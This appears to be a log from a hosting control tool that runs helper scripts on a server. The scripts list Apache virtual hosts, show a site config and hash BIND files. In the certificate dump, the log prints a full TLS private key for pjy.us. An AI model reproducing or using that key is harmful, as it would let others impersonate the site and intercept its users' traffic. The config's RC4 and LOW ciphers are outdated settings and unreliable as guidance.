MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-06 10:27:48: Establishing a connection
2026-05-06 10:27:48: 

PUT: /tmp/pkp964350

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-05-06 10:27:48: 

chmod 755 /tmp/pkp964350; /tmp/pkp964350; rm /tmp/pkp964350

2026-05-06 10:27:48: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
                 alias www.exjw.org.uk
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:2)
                 alias www.persianchurch.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
         port 80 namevhost youngrepairs.com (/etc/apache2/sites-enabled/youngrepairs_www_com.conf:2)
                 alias www.youngrepairs.com
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:22)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:23)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:23)
                 alias www.exjw.org.uk
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:23)
                 alias www.persianchurch.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:22)
         port 443 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
         port 443 namevhost youngrepairs.com (/etc/apache2/sites-enabled/youngrepairs_www_com.conf:27)
                 alias www.youngrepairs.com
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-05-06 10:27:48: 

PUT: /tmp/pkp727337

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-available/pjy_home_us.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-06 10:27:49: 

chmod 755 /tmp/pkp727337; /tmp/pkp727337; rm /tmp/pkp727337

2026-05-06 10:27:49: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/pjy_home_us.conf	1264

<VirtualHost *:80>
    ServerName	home.pjy.us
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/pjy_home
    <Directory /var/www/pjy_home>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/home_access.log combined
    ErrorLog	/var/log/apache2/pjy/home_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	home.pjy.us
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/7889e7c0d13f0b76beb5af2adc3d4e86.crt
    DocumentRoot	/var/www/pjy_home
    <Directory /var/www/pjy_home>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/home_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/home_secure_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>







2026-05-06 10:27:49: 

PUT: /tmp/pkp792722

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/7889e7c0d13f0b76beb5af2adc3d4e86.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-06 10:27:49: 

chmod 755 /tmp/pkp792722; /tmp/pkp792722; rm /tmp/pkp792722

2026-05-06 10:27:49: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/7889e7c0d13f0b76beb5af2adc3d4e86.crt	5320
5f:c6:ed:f0:30:68:d2:60:40:4f:6d:f3:1a:ee:98:4e

-----BEGIN CERTIFICATE-----
MIIE6DCCA9CgAwIBAgISBSbtbNND6sLBWBxRVjuDf0uOMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMzA0MTc1OTM0WhcNMjYwNjAyMTc1OTMzWjARMQ8wDQYDVQQD
EwZwankudXMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC47q+GXe0u
QFo77yC19HDBIx0KCE+hO6yHUlxrDBKpdTiH9A/oOzUJK98Oxqsi3HHAWJ6mYNLF
/4GPCnSge9NvJbOBm/eiwhJy9RiVhTljQg2jyV+WzCsKpv8Su4hSJuy/Q9DzS6p9
FSK9lFDUhZ2+OZq353KpGpVDdU7D4QMRAegW+myxe1WPoW+qZ92z+a5kYKf8tge1
dFdnQsbFJfGvBDwr0SXQeAqkBtdWimIWS0JrNsnjS0M5GuP/3Goqarc8JIvgHWPB
KglslND5WZ7UITPbfzH8xu/Ymj0PCOFptjEPeRQru/vr/qtNnCFJLDW56GEsD19s
lBiivi6aCmlXAgMBAAGjggIWMIICEjAOBgNVHQ8BAf8EBAMCBaAwEwYDVR0lBAww
CgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQUzr6b3wwvtuaxfoHP
BO8Fq9/Q1YIwHwYDVR0jBBgwFoAUALUp8i2ObzHom0yteD763OkM0dIwMwYIKwYB
BQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEyLmkubGVuY3Iub3JnLzAb
BgNVHREEFDASgggqLnBqeS51c4IGcGp5LnVzMBMGA1UdIAQMMAowCAYGZ4EMAQIB
MC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvMTUuY3Js
MIIBBAYKKwYBBAHWeQIEAgSB9QSB8gDwAHYAyzj3FYl8hKFEX1vB3fvJbvKaWc1H
CmkFhbDLFMMUWOcAAAGcujbg/wAABAMARzBFAiEA01AfZUZUSLbS0USNNSMg2DUG
hh+xCVMdbR+FHRaPc9kCIF35EFAoMzn1gklTmN7I8bny4ajaradDCr8KzT2JFehl
AHYA0W6ppWgHfmY1oD83pd28A6U8QRIU1IgY9ekxsyPLlQQAAAGcujbhwgAABAMA
RzBFAiEAs6bwqj2iT+9D3olF7ZGPEifyb9NzWyRTlO57zLXS+S8CIC6INl8BPqKg
/EOozL6bnOPVcAzh93lg8Q8V/6xu1SuNMA0GCSqGSIb3DQEBCwUAA4IBAQDF0o87
ip5M+p2RctyWnmVnSGvhBsYpB+QvpE8K66PJG9hjDhECfDJ0TF8kSBRUfDu8E/fC
ZKlDaSHYiJ3iYgpI6KA0qsNYKPz0k60YNqHK9cA/xElouWGfgpTk5Vi6idGZ6rAQ
R0ppD4f4gfj4/GRbu1JKen9uZVPhrp/7z0R9AAT6bTdujiIzmnhuq2Sjwaj38rfp
NE72+lQI/3MPVJ0Nc5zNotBoJlyupX4/rahHPvZo0ngdtlj0aMYvbbhY4YmJNq5L
lDh2MUH2jQwOdtLBDKTq7w0gv4zokuK3PVzzV+GHgOnQC7u7XwyqvXUz+jhfCH8O
T/QYVXMsJsQ8a9YE
-----END CERTIFICATE-----


-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC47q+GXe0uQFo7
7yC19HDBIx0KCE+hO6yHUlxrDBKpdTiH9A/oOzUJK98Oxqsi3HHAWJ6mYNLF/4GP
CnSge9NvJbOBm/eiwhJy9RiVhTljQg2jyV+WzCsKpv8Su4hSJuy/Q9DzS6p9FSK9
lFDUhZ2+OZq353KpGpVDdU7D4QMRAegW+myxe1WPoW+qZ92z+a5kYKf8tge1dFdn
QsbFJfGvBDwr0SXQeAqkBtdWimIWS0JrNsnjS0M5GuP/3Goqarc8JIvgHWPBKgls
lND5WZ7UITPbfzH8xu/Ymj0PCOFptjEPeRQru/vr/qtNnCFJLDW56GEsD19slBii
vi6aCmlXAgMBAAECggEABFxRyeVPwRYbX+u/kGAh2IFaH0ZwOj5h+b7jbFLDOI5f
CuBND7jLA1sEI3ZjyqqlXq0Nm0wP1u4IwWAJvU8DfqIbnXlurr53bjvWnI/2TnTc
RXnAxe7X2k8dwfSnaOh/ZJ3WFiaOmpceU+y6CzOAs1+Vr7McF7NcxFPGdlqelo6z
+chmeC8Cys8CfTN5LhdlFFOr3Nkb9Awoxdb379izHep90L4H8jO7JZAy0SaLLWOj
fwYJ4Cr5wmPcqVM1TX3jV/cpO9HDCtOvsc/RAuG3o/PJ+VVdRnLwvi8QKXY7KQ9g
Dnru/YdqQIrBhuD9CCAXpSzpw96FxTru0GGMLNslwQKBgQDvsW3iuoR/2p3zLnw8
JRTb5Ij1TnAD0UajOeEb2tCIzKCIZ61dr+7RohP2XtI01ABrDHFWilbTDNNLsh5k
As0TTO6OHp+KnHkCPfJX6RZ7DTZfeUw29AA7ZGcY8wm6WOvSmuZSNKd9nLbiDAlf
udEMzgiZT4kXdXoOCeoZ693QaQKBgQDFg4bBFoaTlVmiqVFIgVMtxNqJu12EQHzd
JpO75ggNcsyqLKQ4S6k/a2rA7/vuwtHfiyKDU7vLZB1X1Li6t/wJ5RPG7PNS+Lnj
JsOUOf+TC3wSC0gx1+0ND7tBns2Sh93XoczTjxa9C/dDkuHYkWDw1CXBGvxmtWJD
CPnCVe8zvwKBgQCClh7w7H8tjPSKvaOvvOAdYOgBBYfffI/Ic8shutfr/9fiGOIJ
7cTl7zCDBGvvniTQLYo+BMaC2zTuw47tG92Qi1RYl3SCNvdycj9rB7FYvv0FjPcp
5UuPEAdfP2HoZXOtXPjoholN1SiKBNbCkWDEYierJvrgjf8+UMZ68tb5KQKBgAa8
XI0bMo236y2j7pS1bFvEOdu2mxLWjCuSlDk1OBMVVit7iEIvOl9iT2qzBHl5BWVF
PnESGvZtvJ5xL7eWbK79s/X1wLqUpuo7OTJF5BRksN+AqP6iKYBnh/BN9R7JKWSg
LPcOCy15Sf5w9OjI1HCCG6OBQxhRmT9GABaDjbvLAoGAYMA8t10T1v9Q0axumGwq
9Lu08z2P3wO1O0Jt20RVh6CwF571BnAEZz1gk80AGg0UXgTDyIo8YxO8aHYS73aP
Wbvclw8YOHbsJFqk4nanrgLDGRNMAQXYv5sIQtO2vtu6dlexPjoRxxZHutyvsTqn
uugk9G5lv9gmlDnHFEPX9y0=
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----





2026-05-06 10:27:49: Establishing a connection
2026-05-06 10:27:49: 

PUT: /tmp/pkp310571

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-06 10:27:50: 

runuser -l bind -s /bin/bash -c '/tmp/pkp310571; rm /tmp/pkp310571'

2026-05-06 10:27:50: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
